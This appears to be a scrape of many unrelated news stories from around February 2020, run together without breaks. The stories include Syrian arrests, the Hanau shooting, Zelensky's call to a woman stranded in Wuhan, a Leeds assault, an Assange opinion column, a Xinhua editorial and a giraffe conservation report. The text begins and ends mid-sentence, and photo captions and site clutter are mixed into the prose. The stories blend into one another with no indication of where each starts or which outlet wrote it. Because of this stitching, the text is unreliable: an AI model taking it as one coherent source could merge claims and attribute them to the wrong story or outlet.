Syria, local activists said Wednesday. Tens of youth were arrested along with members of the pro-regime National Defence militia. The oil-rich province is divided between the US-backed Kurdish forces and Iran-run militias. Meanwhile, Deir Ezzor 24, a local news site, said Wednesday that regime forces are not allowing the families of slain soldiers and Shiite militants to bury their dead in the Kurdish-held eastern countryside of Deir ez-Zor . Most of regime deaths were due the ongoing offensive in northern Idleb province. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Prime Minister Narendra Modi on Friday handed over a 'Chadar' that would be offered at the Ajmer Sharif Dargah on February 25. "Prime Minister Narendra Modi handed over a 'Chadar' that would be offered at the Ajmer Sharif Dargah," Prime Minister's Office tweeted. In the picture posted by the PMO, Prime Minister Modi can be seen handing over the 'chadar' to a delegation from the Ajmer Sharif Sufi shrine. Earlier in the day, a delegation of Ajmer Sharif Dargah Committee met Prime Minister Modi. The delegation included the head of the Ajmer Sharif Dargah Committee, who prayed for peace, security and brotherhood in the country. Minority Affairs Minister Mukhtar Abbas Naqvi was also present during the meet. Naqvi will visit Rajasthan and offer the 'Chadar" on behalf of the Prime Minister at the Ajmer Sharif Dargah on February 25. He will also read the message of the Prime Minister, extending greetings on Urs and appealing people to maintain peace and harmony in the country. Urs commemorates the death anniversary of Sufi saint Moinuddin Chishti. It is held over six days at the Ajmer Sharif Dargah and features night-long dhikr (zikr) qawwali singing. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The woman earlier refused to board an evacuation plane after she was denied taking along her pet dog over the alleged lack of veterinary paperwork required for transportation. President of Ukraine Volodymyr Zelensky has made a phone call to personally encourage Anastasia Zinchenko, a Ukrainian woman left behind in the Chinese city of Wuhan at the epicenter of coronavirus outbreak, telling her that the government will "find a way" to get her back to Ukraine. The woman earlier refused to board an evacuation plane after she was denied taking along her pet dog over the alleged lack of veterinary paperwork required for transportation. Read alsoUkrainians evacuated from China to be quarantined in medical center outside Poltava The woman posted on Instagram a video of her conversation with the Ukrainian president put on a loudspeaker. "I'm aware that you stayed because your dog wasn't allowed on board. I just found out. Look, we wont leave you there. I wanted to call you personally because I find it very important. We will surely find means and ways. I just recently learned about the problem... but we will find a way to bring you back," Zelensky said. As UNIAN reported earlier, Zinchenko said it was the Ukrainian embassy that was to blame for the boarding issue as she had collected all paperwork required. The Ministry of Foreign Affairs never received from the embassy any documents she had provided, the woman earlier said. At the same time, the embassy insists it's the Chinese authorities that banned transportation of the Ukrainian woman's dog. The chef April Bloomfield plans next week to kick off a series of dinners prepared with other chefs from around the country at the Breslin, her restaurant in the Ace Hotel in NoMad. The dinners are Ms. Bloomfields first high-profile events since she was part of the scandal over sexual harassment by her former business partner, Ken Friedman, at the Spotted Pig in the West Village. The two have parted ways: Mr. Friedman is no longer a partner in the Breslin, and their other restaurant in the hotel, the John Dory Oyster Bar, has closed, as has the Spotted Pig. In a New York Times article in 2017, several former employees accused Mr. Friedman of running a highly sexualized workplace where he and his guests harassed women. Some said Ms. Bloomfield had been made aware of the abuses but did nothing to stop them. Ms. Bloomfield has since apologized for her inaction, saying she was naive and intimidated by Mr. Friedman. In an interview on Thursday, she said she has become more attentive to her employees at the Breslin, where she is a co-owner. Ive been listening to the staff, concentrating on that, so its important for me to be here, she said. She was left in floods in tears after filming her last scenes as Bethany Platt. And Coronation Street star Lucy Fallon has revealed her latest hair transformation, as she took to Instagram to unveil her platinum blonde mermaid tresses. The actress, 24, shared the snap of her new look as her final scenes on the soap are set to air next month. New look: Coronation Street star Lucy revealed her latest hair transformation on Thursday (left) after saying goodbye to her character Bethany Platt on the soap (right) In the post, Lucy displayed her gorgeous long blonde curls after visiting the salon to get some clip-in extensions. The soap beauty gushed about her beautiful new look, clearly ready for a change after saying goodbye to her character Bethany. In the caption she penned: 'AND I'M LONG! (it's not all my hair... but don't tell anyone). 'Using @beauty_worksonline tape in extensions in the shade ivory and Scandinavian blonde! Thank you @jameslearhairdressing for creating this... I love it!' Changing style: The actress took to Instagram to share a glimpse of her new platinum blonde mermaid tresses Lucy has already filmed her final scenes as Bethany and they are expected to air sometime next month. It was previously hinted that Bethany will decide to leave Weatherfield for pastures new after being offered an internship at a magazine in London. In the coming weeks, Bethany will be left conflicted about whether to leave the Street as she's started dating Daniel Osborne, which has already ruffled feathers as it comes just four months after the death of his wife Sinead. She's off! Earlier this week it was reported that Bethany will leave Corrie next month after being offered an internship for a magazine in London In January, Lucy bid an emotional farewell to the soap after filming her final scenes as Bethany with her colleagues. Taking to Instagram to post a gallery of snaps from her time on the soap, she paid tribute to her 'second family' on the show and thanked them for 'teaching her everything she knows.' In a lengthy post, Lucy, who originally landing the role straight out of sixth form, told her followers that she was struggling to contain her emotions after filming her final scenes, especially as her real-life family and boyfriend Tom Leech paid a visit. The blonde beauty admitted she had no idea which way her life would go after she finished sixth form five years ago, and landing the part of Bethany came as a huge shock. Goodbye: In January, Lucy bid an emotional farewell to the soap after filming her final scenes as Bethany with her colleagues and was even joined by her family on the Manchester set Admitting her disbelief at playing Bethany, Lucy added that she never expected to form such close friendships with her on-screen family, including Helen Worth (who plays Gail Platt) and Tina O'Brien (who plays her on-screen mum Sarah Platt). She wrote: 'I'm writing this with mascara all over my face and tears/snot dripping onto my clothes but that's a wrap... on what has been the most incredible 5 years of my life. 'It's so crazy to me that 5 years ago, I had just finished 6th form and had no idea what direction life was going to take me in. 'I never in a million years expected that I would be calling Gail Platt a friend. But here we are... and I'm grateful for every single second of it. It's such a cliche, but the Platt family really are a second family to me. And I will forever be in debt to them. 'They have taught me everything I know... who needs a degree and drama school when you have the PLATts???? To the cast, crew, and everyone in between, I will hold you all in my heart for the rest of my life. 'And to the viewers, thank you for the endless amount of support I have received over the years. And to you bethany... oh what fun we've had. But it's not goodbye, just see ya later.' Close: Lucy also took to Instagram Stories to share a snap of her loved ones outside the Platt's home as they took a tour of the famous set Alongside her post Lucy shared a collection of snaps from her five years on the soap, along with a sweet family snap from the set known as the Platt's living room. Lucy's final scenes as Bethany are expected to air sometime in March, and it has been hinted that the door will be left open for her return. Her character has had nothing short of a tough time during her time on the cobbles, after being groomed and sexually abused by Nathan Curtis and being becoming a victim of school bullies. A grief-stricken father paid an emotional tribute to his daughter after she was killed in a terror attack in the German city of Hanau. A right-wing extremist killed nine people and wounded six others in racially-motivated shootings at shisha bars in the town before killing his mother and himself. Mercedes Kierpacz, 35, was among the victims of 43-year-old Tobias Rathjen, who targeted his deadly rampage at people of migrant background. The mother-of-two had gone out that night to buy a pizza and a drink from a nearby kiosk when she was shot dead, the BBC reported. Germany: Hanau Shooting - In pictures 1 /28 Germany: Hanau Shooting - In pictures Reuters A car that alegdgedly belongs to a supect in a killing is lifted on a truck, near the home of the suspect in Hanau, western Germany, AFP via Getty Images Police officers stand near a house that is being searched after a shooting in Hanau, Germany AP Candles lay behind a police cordon in front of one of the bar target in a shooting in Kesselstadt, near Frankfurt AFP via Getty Images Police officers at the scene outside the Midnight hookah bar, one of two bars that were targeted Getty Images Special police forces work at the scene following a deadly shooting attack in Hanau AP Forensic police work at a crime scene in front of a bar at the Heumarkt in the centre of Hanau, near Frankfurt am Main, western Germany AFP via Getty Images Emergency services work at the scene of a shooting in Hanau AFP via Getty Images Forensic police work near a crime scene in front of a bar at the Heumarkt in the centre of Hanau AFP via Getty Images Police handcuff a man near the scene of a shooting in Hanau, Germany AP Forensics enter a building at the scene after a shooting in central Hanau, Germany AP A special forces officer guards the road in front of a house that is searched through by police in Hanau, German AP Gun attacks: Police stand guard near the scene of one of the shootings in central Hanau AP A car covered with rescue blankets stands in front of a bar in Hanua, Germany AP A projectile lies on the sidewalk near a restaurant at the scene of a shooting in central Hanau, Germany AP Forensics investigate at the scene AP A police officer stands guard AP Officers detain a man near a damaged car at the scene after a shooting in Hanau, Germany Reuters Forensic experts outside a shisha bar after a shooting in Hanau near Frankfurt Reuters Police officers secure the area after a shooting in Hanau Reuters Forensic experts are seen outside a shisha bar after a shooting in Hanau near Frankfurt Reuters Her father, Filip Goman, fought back tears as he described his daughter to the broadcaster in stark but heartbreaking words. She was a lovely person, he said, according to the BBCs translation. A lovely person with two children. And now shes dead. Gone, he added. What else is there to say? The father praised the fast and professional work of emergency services at the scene, saying they deserved praise. Crowds Gather For Hanau Attacks Vigil He said officers treated him and his family with decency and, after 20 hours, we were allowed to see our daughter and say goodbye to her. It comes after thousands of people gathered in cities across Germany on Thursday evening to hold vigils for the shooting victims but also to express anger that authorities have not done enough to prevent attacks despite a string of incidents in recent years. Some also called for a crackdown on the extremist and anti-migrant ideology that has crept into mainstream political debate with the rise of the Alternative for Germany party (AfD). A top official in the centre-left Social Democratic Party, a junior partner in Chancellor Angela Merkels governing coalition, accused AfD of providing ideological fodder to people such as the Hanau gunman. One person carried out the shooting in Hanau, thats what it looks like, but there were many that supplied him with ammunition, and AfD definitely belongs to them, Lars Klingbeil told German public broadcaster ARD. Parts of Alternative for Germany were already under close scrutiny from Germanys domestic intelligence agency. The HSE has secured an emergency High Court order allowing it to detain in hospital and administer vital treatment to a woman who had been living in "squalor". Granting the order today, the President of the High Court Mr Justice Peter Kelly said that the woman, who cannot be identified for legal reasons, had been living in "truly awful" and "dire" conditions before she was admitted to a hospital. Doctors treating the woman, who is aged in her sixties, are concerned about her feet which have become infected and gangrenous. The judge said that those who attended the woman's home reported seeing swarms of flies and maggots in the premises. Flies were seen coming from a blanket that the women had been using. Litter was strewn all over the interior of the property, and the floors were "drenched with urine." The situations was so bad that those attending at her home had to use face masks and protective clothing, the judge added. The woman's children had described her as being "stubborn", the judge noted. Such was the woman's level of self neglect, the judge said, that one of her doctors stated that in 30 years practicing medicine they had never seen a patient in such a debilitated or unkempt state. Patricia Hill Bl, for the HSE, said that orders were being sought over fears that the woman, who had been admitted to hospital earlier this month, may try to leave the facility. She had not been co-operative since she was admitted to hospital, the court heard. She also required to be moved to another hospital where she can assessed by a specialist in vascular surgery, counsel added. Mr Justice Kelly said he was satisfied from the evidence before the court that that the woman may have cognitive issues, and lacks the capacity to make decisions for herself. The judge, on an ex-parte basis, granted the HSE orders allowing it to detain the woman in the hospital where she is currently a patient. The detention order would also apply if she were transferred to another hospital for treatment, the judge ruled. Noting the woman's medical condition, the judge also granted the woman's treating physicians powers to take steps to administer the treatment she requires. Should she abscond from either facility the court granted the Gardai powers to detain the woman and return her to the medical facility. The judge also directed that an independent medical visitor be appointed to assess the woman, and that a report be furnished to the court. The judge also appointed a guardian ad litem to represent the woman's interests. The matter was adjourned, and will be mentioned before the court next week. Source: Xinhua| 2020-02-21 10:05:45|Editor: Xiaoxia Video Player Close by Xinhua writer Gao Wencheng BEIJING, Feb. 21 (Xinhua) -- In an era of globalization, the interests of countries across the world are closely intertwined, and no one can be immune to common challenges such as the novel coronavirus disease (COVID-19). By taking decisive measures and making great sacrifice, China has achieved notable progress in preventing and controlling the spread of the virus both domestically and internationally. Global manufacturers, from automakers to mobile phone producers, are breathing a sigh of relief as the world's second largest economy gradually reopened its factories that were temporarily closed to help contain the epidemic without causing significant damage to the global supply chain. China does not stand alone in its fight. So far, leaders of more than 160 countries and international organizations have expressed their solidarity with China and provided assistance. They also voiced confidence in the prospect of China's economic development and its role as a driving force for world growth. On the packages of medical supplies donated by the Japanese people to China, such Chinese-language poetic lines were written as "lands apart, destiny shared." It exemplifies the spirit of helping each other in the global village in the face of common challenges. However, global efforts and solidarity to combat the COVID-19 outbreak are sometimes undermined by rumors and even slanders. On Thursday, leading health experts from multiple countries endorsed China's efforts to stop the virus from spreading on a worldwide scale as well as its high degree of openness and transparency, and voiced concerns that such a remarkable effort is being threatened by rumours and misinformation. Just as they stressed in a statement published by The Lancet, conspiracy theories do nothing but create fear, rumours, and prejudice that jeopardise the global collaboration in the fight against the novel coronavirus. Cooperation, unity and solidarity across borders are vital for a world sharing a common destiny. The epidemic reminds mankind again that no country can prosper in isolation or meet all challenges on its own, as the world is a community with a shared future. More people have the opportunity to receive an Ohio State education than ever before. As President Michael V. Drake explains in this Minute Professor video, people across Ohio State are working on initiatives and plans that support access, affordability and excellence. These are more than campus buzzwords: Access, affordability and excellence open up pathways for students and their ambitions. Looking for more details on what President Drake is talking about? Forging opportunities Creating greater access to education has been a strategic priority at Ohio State, and the university also is helping to lead this effort nationally as a founding member of several collaborations, including the American Talent Initiative. The initiative is committed to enrolling an additional 50,000 highly talented, low- and moderate-income students at U.S. colleges and universities. Its latest report identifies Ohio State as among the top institutions for growth in this area. And more of these students are earning their degrees. Graduation rates for Pell-eligible students have increased 30% since 2014 at public research institutions taking part in the University Innovation Alliance. We are proud to be part of this national effort. Expanding financial aid More than 40,000 students have benefited from Ohio States focus on additional aid programs established or expanded since 2015. During this time, weve committed to increasing financial aid for low- to moderate-income Ohioans by $200 million. There are so many grants and programs available to potential Buckeyes. For example: The Presidents Affordability Grant awards up to $2,250 each year in extra support to approximately 15,000 low- and moderate-income Ohio students. awards up to $2,250 each year in extra support to approximately 15,000 low- and moderate-income Ohio students. The Buckeye Opportunity Program ensures that Ohio students who qualify for Pell Grants receive an aid package that covers the full cost of tuition and mandatory fees. ensures that Ohio students who qualify for Pell Grants receive an aid package that covers the full cost of tuition and mandatory fees. Land Grant Opportunity Scholarships are awarded to up to 176 Ohio students each year, with an attempt made to award two students from each of the states 88 counties. The Ohio State tuition guarantee For every incoming class of first-year Ohio students, we set a rate for tuition, mandatory fees, room and board and we freeze those rates for four years. By doing so, we provide students and their families with a certainty about the cost of a four-year degree. We also are forever expanding our support of active members of the military, veterans and their immediate families. Thats why we offer in-state tuition rates to members of the military (active or veteran) and their families regardless of where they live. Learn more about Ohio States commitment to access, affordability and excellence. Welcome Guest! You Are Here: Home Regional News East SOUTH LYON, MI - Police were given a surprise when they responded to an injured dog complaint this week and found an Arctic fox. Have you ever seen an Arctic fox? South Lyon Police Department asked its Facebook followers in a post on Thursday, Feb. 20. Neither had we until this afternoon. The fox has been reunited with its owner, according to comments on the police Facebook post. Arctic foxes are not native to Michigan. They are found in the Arctic tundra, including Alaska, Canada, Greenland, Norway, Scandinavia and Iceland. Their thick white fur keeps them warm and camouflaged. Officers responded to the complaint near South Lyon High School, the post said. The fox was then taken to the Howell Nature Center for a checkup and care. According to comments on the post, the female foxs name is Khadi. She has a broken leg but has been reunited with her owner. They are sneaky! said owner Angela Taylor in a comment. Have you ever seen an Arctic Fox? Neither had we until this afternoon when we responded to an injured dog complaint by... Posted by South Lyon Police Department on Thursday, February 20, 2020 READ MORE: Woman who bought Arctic fox pup in Michigan tried to sell it on Craigslist Leelanau Conservancy hopes to add 350 acres to forest preserve abutting Sleeping Bear Dunes Saginaw zoo gets two-toed sloth named Okra Mae 2 otter babies born at Michigan zoo New polar bear arrives at Detroit Zoo with hope for new cubs 5 things that prove pet owners love their dogs more than humans This is the shocking moment a thug attacked a gay couple outside a celebrity restaurant in an unprovoked assault. The assailant also punched the mother of one of the men in the face after she attempted to intervene outside the Gino D'Acampo My Restaurant in Leeds. The attacker, Philip Sexton, 54, attacked the young couple and Sarah Liversidge on January 25. This is the moment Philip Sexton, 54, launches an unprovoked attack on a young gay couple outside Gino D'Acampo's restaurant in Leeds on January 25 Sexton, pictured near the taxi, also lashed out at one of the men's mothers and a waitress Sexton, pictured with the orange top, right, received a 12-month community order having pleaded guilty to four counts of assault at Leeds Magistrates' Court Sexton, from Leeds, started throwing punches at the couple and then attacked a brave waitress who intervened. He punched her in the face, leaving her with a bloody nose, and then yanked her hair as she walked away. Mrs Liversidge and her husband Ross Liversidge, who live in Worcestershire, had travelled to Leeds that night with their son, to celebrate his boyfriend's 22nd birthday and enjoy a meal with his family. Mr Liversidge, who ran out of the restaurant to help when he heard his wife screaming, said: 'It really shocked us, they were just stood there chatting and having a cigarette. 'It was completely unprovoked and nasty. 'He pushed my wife out of the way, and then went for the boys. 'He also hit the waitress with a haymaker when she intervened. Her nose was bruised and her face was covered in blood, but she was still giving him some stick. 'The assault has had a huge effect on all three victims. We are not from Leeds and will never return. We were there to celebrate one of the boys' birthdays and meet his parents for the first time. 'What should have been a really happy event ended in violence and upset.' He added: 'It's been a horrific time for us. The boys have found that the attack has completely changed them and they are nervous about going out.' Sexton pleaded guilty to four charges of assault by beating at Leeds Magistrates' Court and on Wednesday, February 19 he received a 12-month community order and was ordered to carry out 100 hours of unpaid work. Homme Plisse Issey Miyake cap. Credit: This Issey Miyake cap is covered in pleats, a signature feature the Japanese designer has used since the 1980s. Its permanent pleats and quick-dry fabric mean it can be machine-washed and while found in the menswear section of the Matches website, its equally appealing to women. Homme Plisse Issey Miyake cap, $270 matchesfashion.com Zero by Guzzini Salad Lunch Box. Credit: Become the talk of the tuck shop with this lunch box, designed and made in Italy by Carlo Viglino for Guzzini. It features an airtight lid, inner compartments, crockery and cutlery, and also has a freezable cooler to keep your lettuce leaves crisp. Zero by Guzzini Salad Lunch Box, $70 matchesfashion.com New target for 2030: Women to hold 30 percent of leadership roles by 2030 By 2030, BASF wants to increase the proportion of women in leadership positions to 30 percent worldwide. At the end of 2019, the proportion of female managers was 23.0 percent (2018: 21.7 percent). In 2015, BASF had set itself the target of increasing the proportion of women in leadership roles to 22 to 24 percent as of 2021, which it achieved ahead of schedule at the end of 2019. The goal of a better gender balance in the leadership team is to be achieved for the BASF Group worldwide and for the leadership levels overall. At BASF, this includes the management levels in all countries where the company operates, thus reflecting the global approach to the development of leadership. BASF puts a special focus on the three leadership levels below the Board of Executive Directors. As multipliers, these leaders can make a significant contribution to further developing a diverse corporate culture. This helps BASF to be an attractive employer for everyone. At the three leadership levels below the Board of Executive Directors, the proportion of female leaders is 15.8 percent (as of December 31, 2019). We want to better incorporate women and their abilities in the leadership team of BASF. As a research-driven company, we know the value of diverse ways of thinking and working. Different perspectives result in innovative ideas and solutions for our customers, said Dr. Martin Brudermuller, Chairman of the Board of Executive Directors of BASF SE. The new target also contributes to implementing the corporate strategy, which aims for profitable growth and creating value for society. Measures to achieve the target All leaders are obliged to pursue the new target. Early recognition, nomination and development of talented female employees as well as long-term succession planning will contribute to reaching the goal. The majority of leadership positions at BASF are filled internally. BASF supports young leaders by offering individualized mentoring and training programs. Since 2016, the company has been a member of the Germany-wide Chefsache initiative. This network of leaders from industry, academia, the public sector and media aims to initiate social change, such as increasing the percentage of women in leadership positions in Germany. Receive up-to-date news releases from BASF via push notification on your smartphone. Register for our news service at basf.com/pushnews. YOGYAKARTA, Indonesia - A flash flood hit hundreds of students and teachers who were hiking along a river on Indonesias main island of Java, killing at least six of the students, officials said. Five others were reported missing. The group of 250 junior high students was conducting scouting activities in Sleman district of Yogyakarta province and wasnt paying attention to weather conditions, National Disaster Mitigation Agency spokesman Agus Wibowo said. Local military chief Lt. Col. Diantoro, who led the search and rescue operation, told TVOne that at least six bodies were found a short distance down the Sempor river from the site of the flood. He said a downpour burst the rivers banks, causing the flood. He said 239 students were rescued, including 10 who were treated for injuries. Rains cause frequent landslides and flash floods in Indonesia, where millions of people live in mountainous areas or near flood plains. I was in Kabul in 2010 when Julian Assange and WikiLeaks first released a vast archive of classified US government documents, revealing what Washington really knew about what was happening in the world. I was particularly interested in one of these disclosures, which came in the shape of a video that the Pentagon had refused to release despite a Freedom of Information Act request. When WikiLeaks did release the video, it was obvious why the US generals had wanted to keep it secret. Three years earlier, I had been in Baghdad when a US helicopter machine-gunned and fired rockets at a group of civilians on the ground who its pilots claimed were armed insurgents, killing or wounding many of them. Journalists in Iraq were disbelieving about the US militarys claims because the dead included two reporters from the Reuters news agency. Nor was it likely that insurgents would have been walking in the open with their weapons when a US Apache helicopter was overhead. We could not prove anything until WikiLeaks made public the film from the Apache. Viewing it still has the power to shock: the pilots are cock-a-hoop as they hunt their prey, including people in a vehicle who stop to help the wounded, saying, Oh yeah, look at those dead bastards, and, Ha, ha, I hit them. Anybody interested in why the US failed in Iraq should have a look. The WikiLeaks revelations in 2010 and in 2016 are the present-day equivalent of the release by Daniel Ellsberg in 1971 of the Pentagon Papers, unmasking the true history of the US engagement in the Vietnam War. They are, in fact, of even greater significance because they are more wide-ranging and provide an entry point into the world as the US government really sees it. How Wikileaks shone light on world's darkest secrets Show all 4 1 /4 How Wikileaks shone light on world's darkest secrets How Wikileaks shone light on world's darkest secrets 348711.bin PA How Wikileaks shone light on world's darkest secrets 348709.bin PA How Wikileaks shone light on world's darkest secrets 348710.bin GETTY IMAGES How Wikileaks shone light on world's darkest secrets 348708.bin AP The disclosures were probably the greatest journalistic scoop in history, and newspapers such as The New York Times recognised this by the vast space they gave to the revelations. Corroboration of their importance has been grimly confirmed by the rage of the US security establishment and its overseas allies, and the furious determination with which they have pursued Assange, the co-founder of WikiLeaks. Daniel Ellsberg is rightly treated as a hero who revealed the truth about Vietnam, but Assange, whose actions were very similar to Ellsbergs, is held in Belmarsh high-security prison. He faces a hearing in London this week to decide whether he will be extradited from the UK to the US on spying charges. If extradited, he stands a good chance of being sentenced to 175 years in the US prison system under the Espionage Act of 1917. Ever since Assange orchestrated the release of documents through WikiLeaks, he has been the target of repeated official attempts to discredit him or, at the very least, to muddy the waters in a case that should be all about freedom of speech. The initial bid to demonise Assange came immediately after the first release of documents, claiming that it would cost the lives of people who were named. The US government still argues that lives were put at risk by WikiLeaks, although it has never produced evidence for this. On the contrary, the US counter-intelligence official who was in charge of the Pentagons investigation into the impact of the WikiLeaks disclosures admitted in evidence in 2013 that there was not a single instance of an individual being killed by enemy forces as a result of what WikiLeaks had done. Brigadier General Robert Carr, head of the Pentagons Information Review Task Force, told the sentencing hearing for Chelsea Manning that his initial claim that an individual named by WikiLeaks had been killed by the Taliban in Afghanistan was incorrect. The name of the individual was not in the disclosures, he admitted. On the day the WikiLeaks revelations were made public, I had a pre-arranged meeting in Kabul with a US official who asked what the coding on the top of the leaked papers was. When I read this out, he was dismissive about the extent to which the deep secrets of the US state were being revealed. I learned later the reason for his relaxed attitude. The database Manning had accessed was called SIPRNet (Secret Internet Protocol Router), which is a US military internet system. After 9/11, it was used to make sure that confidential information available to one part of the US government was available to others. The number of people with the right security clearance who could theoretically access SIPRNet was about 3 million, although the number with the correct password, while still substantial, would have been much fewer. The US government is not so naive as to put real secrets on a system whose purpose was to be open to so many people, including a low-ranking sergeant such as Chelsea Manning. Sensitive materials from defence attaches and the like were sent through alternative, more secure channels. Had the US security services really been using a system as insecure as SIPRNet to send the names of those whose lives would be in danger if their identity were disclosed, they soon would have run short of recruits. The false accusation that lives had been lost, or could have been lost, because of WikiLeaks damaged Assange. More damaging by far are the allegations that he has faced of the rape and sexual molestation of two women in Sweden in 2010. He denies the allegations, but they have condemned him to permanent status as a pariah in the eyes of many. The Swedish prosecutor discontinued the rape investigation last year because of time elapsed, but this makes no difference for those who feel that anything Assange has said or done is permanently tainted and that the WikiLeaks disclosures are only a tangential issue. Likewise, much of the media views Assanges character and alleged behaviour as the only story worth covering. Although information about SIPRNet and General Carrs evidence was published long ago, few journalists seem to be aware of this. But it is not because of anything that may have happened in Sweden that Assange is threatened with extradition to the US to face prosecution under the Espionage Act. The charges all relate to the release of government secrets, the sort of thing that all journalists should aspire to do, and many have done in Britain and the US without being subject to official sanctions. Compare the British governments eagerness to detain Assange with its lack of interest in pursuing whoever leaked the secret cables of the British ambassador to the US, Kim Darroch, to the Mail on Sunday last year. His negative comments about Donald Trump provoked an angry reaction from the president that forced Darroch to resign. Assange has made disclosures about the activities of the US government that are more significant than the revelations in the Pentagon Papers. That is why he has been pursued to this day, and his punishment is so much more severe than anything inflicted on Daniel Ellsberg. The City of Trenton and its police department honored five local leaders Thursday for Black History Month. City Police Director Sheilah Coley and Jiles Ship, president of the New Jersey chapter of the National Organization of Black Law Enforcement Executives (NOBLE), presided over the ceremony at City Hall. Honored were: New Jersey Sen. Shirley K. Turner, with the Political Change Award. Jonette Smart, president of the Trenton chapter of the NAACP, with the Equality and Justice Award. Retired city police Detective Sgt. Robert Mathes with the Mentorship Award. Pastor John Taylor, a police chaplain who works closely with city police, with the Leadership award. (He also gave the benediction at the ceremony.) Kamau Kujichagulia, who publishes the Nubian News in the city, with the Entrepreneur Award. - Photos by Michael Mancuso | NJ Advance Media Don't Edit State Senator Shirley Turner, winner of the Political Change Award, delivers remarks. Don't Edit Detective Sgt. Robert Mathes Don't Edit Don't Edit Jiles Ship, of NOBLE, delivers his remarks. Ship also sits on the New Jersey Police Training Commission. Don't Edit Don't Edit Trenton Police Detective. Sgt. Cynthia Hargis was singled out by Police Director Sheilah Coley for a surprise recognition. Don't Edit Quovella Spruill, executive vice president of NOBLE, speaks at the event. She retired as chief of detectives in the Essex County Prosecutor's Office. Don't Edit Pastor John Taylor accepts his award. Don't Edit Honoree Jonette Smart, winner of the Equality and Justice Award, addresses the audience. Don't Edit Don't Edit More than 30,000 stores have been closed on online shopping sites including Shopee, Tiki, and Lazada due to overcharging. More than 30,000 stores have been closed on online shopping sites On February 19, the Vietnam e-Commerce and Digital Economy Agency announced that they were working with major online shopping sites such as Shopee, Lazada, Tiki, Chotot, Vatgia and Fado to issue a notice to all sellers about overcharging for medical supplies during the coronavirus outbreak. The sites' management reviewed 223,597 shops and 1,001,441 products. Over 30,000 shops with 48,000 products have been dealt with. Shopee also checked and took down many products with abnormally high prices. Over 2,000 shops with nearly 3,000 face masks products and over 300 shops with 400 hand wash products were also dealt with for overcharging. The site will set up key works to check new shops. Tiki said they dealt with over 22 shops with 500 face mask products and 12 shops with 300 hand wash products. Lazada also took down many products that are being overcharged. The shops are given a warning and asked to adjust the prices or else they will be shut down. Lazada found and dealt with 100 shops with 300 face mask products and 20 shops with 40 hand wash products. Chotot has also checked and took down many overly-priced products. Hundreds of shops have been dealt with. Lao Dong/Dtinews Pharmaceutical company fined US$ 2,147 for raising facemask price A pharmaceutical company in the Central Province of Thua Thien-Hue has been slapped with a fine worth VND50 million (US$2,140) after being caught selling a box of face masks at VND200,000 ($8.5), about four times higher than the regular price. A new study has concluded that most evangelical Christians do not live in North America or Europe. According to French researcher Sebastian Fath, most actually reside across Latin America, Asia, and Africa. Of the roughly 660 million evangelicals in the world, roughly 215 million are thought to live in Asia, while 66 million are based in China, 28 million in India, 16 million in Indonesia, 13 million in the Philippines and 9 million in South Korea. It is estimated that around 123 million live in South America, mostly across Brazil, Argentina and Guatemala. North America is thought to boast around 107 million evangelicals 93 in the United States, ten million in Mexico and 4 million in Canada. Shockingly, Europe is host to just 23 million. Faths study aligns with a previous report released by the Pew Research Center which highlighted the same explosion of faith across regions outside of the United States. Christianity has grown enormously in sub-Saharan Africa and the Asia-Pacific region, where there were relatively few Christians at the beginning of the 20th century, the report reads. Indeed, many believe that China where Christian persecution is at extreme levels will contain the most believers of any country in the world by the year 2035. One thing is clear: evangelical Christianity is spreading far beyond North America, and this trend looks set to continue indefinitely. Most Christians in the world today are not westerners and do not speak English as their mother tongue, Biblical scholar N.T. Wright noted in an interview with The Christian Post. Christianity is flourishing in sub-Saharan Africa, in Southeast Asia, in Latin America, in all sorts of ways. And I think we in the West need to not say, Oh well, they're a bit behind and they need to catch up with us. We need to say, Maybe it's we who've gone a bit over the hill and we need to be reminded of where the action really is. Photo courtesy: Getty Images/Kilav Will Maule is a British journalist who has spent the past several years working as a digital news editor. Since earning a degree in international relations and politics, Will has developed a particular interest in covering ethical issues, human rights and global religious persecution. Will's work has been featured in various outlets including The Spectator, Faithwire, CBN News, Spiked, The Federalist and Christian Headlines. Follow him on Twitter at @WillAMaule. UPDATE: Peake was located and has been reunited with her family. She is reported to be fine. EARLIER: Authorities are asking for the publics help in finding a missing 75-year-old Birmingham woman. Annie Brooks Peake was last seen about 1 p.m. Thursday at the Shell gas station at 1901 33rd Avenue North. She was seen standing in the rain and staring into the sky, said Sgt. Johnny Williams. The neighbor who saw Peake planned to take her home after shopping in the store but couldnt find her when she was done. Peake has been diagnosed with dementia and schizophrenia. Its unknown if she has been taking her medication, Williams said. Peake is described as 5-feet, 4-inches tall and weighs about 142 pounds. She was last seen wearing a burnt orange dress, black jacket and black shoes. Anyone with information on Peakes whereabouts is asked to call the Birmingham Police Department at 205-297-8435 or 911. If you have additional information on this investigation, contact Crime Stoppers at 205-254-7777. According to the IUCN, giraffes are now listed as "Vulnerable" after going extinct in 7 countries and suffering a 40 per cent decline in 30 years. Wildlife experts warned on February 20 that these gentle creatures now have only about 100,000 left across sub-Saharan Africa. Nubian and Kordofan giraffe, two sub-species of giraffe are listed as "Critically Endangered" and reticulated and Masai giraffe are categorised under ''Endangered''. READ: Video Of Newborn Giraffe Trying To Take Its First Step Delights Internet In regard of the current treatment as a single species (Giraffa camelopardalis) by the IUCN and ongoing decline in giraffe population numbers, this work will have severe implications for giraffe conservation management. Alice Petzold (@alice_petzold) February 17, 2020 These animals don't depend on you - they depend on committed conservationists willing to stand up and do hard work, even fighting against people who should be on their side. Julian at @Save_Giraffe and the others in IUCN should be praised not attacked. Amy Dickman (@AmyDickman4) February 14, 2020 READ: Thailand: 'Fugitive' Giraffe Known For Daring Escape From Zoo 2 Days Ago Found Dead Preventive measures have been taken In order to prevent the decline of giraffes, some preventive measures have been submitted to the ongoing Convention on the Conservation of Migratory Species of Wild Animals (CMS) by Cameroon, Chad, Ethiopia, Kenya, the United Republic of Tanzania and Zimbabwe. CMS is the only UN pact that addresses the issues of migratory species and their habitats. To protect giraffes wildlife experts are urging for collaboration and conservation strategies. READ: Thailand: Giraffes Escape, Gallop In The Middle Of A Road: Watch I am glad that IUCN is working with those purveying a proven conservation method that has worked so well for so many species in Africa and also in North America. Not to mention, two subspecies of giraffe, the Angolan and South African, are doing just fine with regulated hunts. Stanley O'Brien (@BrienStanley) February 13, 2020 READ: Mexico City's Chapultepec Zoo Welcomes Second Baby Giraffe Of The Year READ: Dog, Abandoned Giraffe Become Best Friends At Rhino Orphanage In South Africa (With Agency Inputs) Some 120 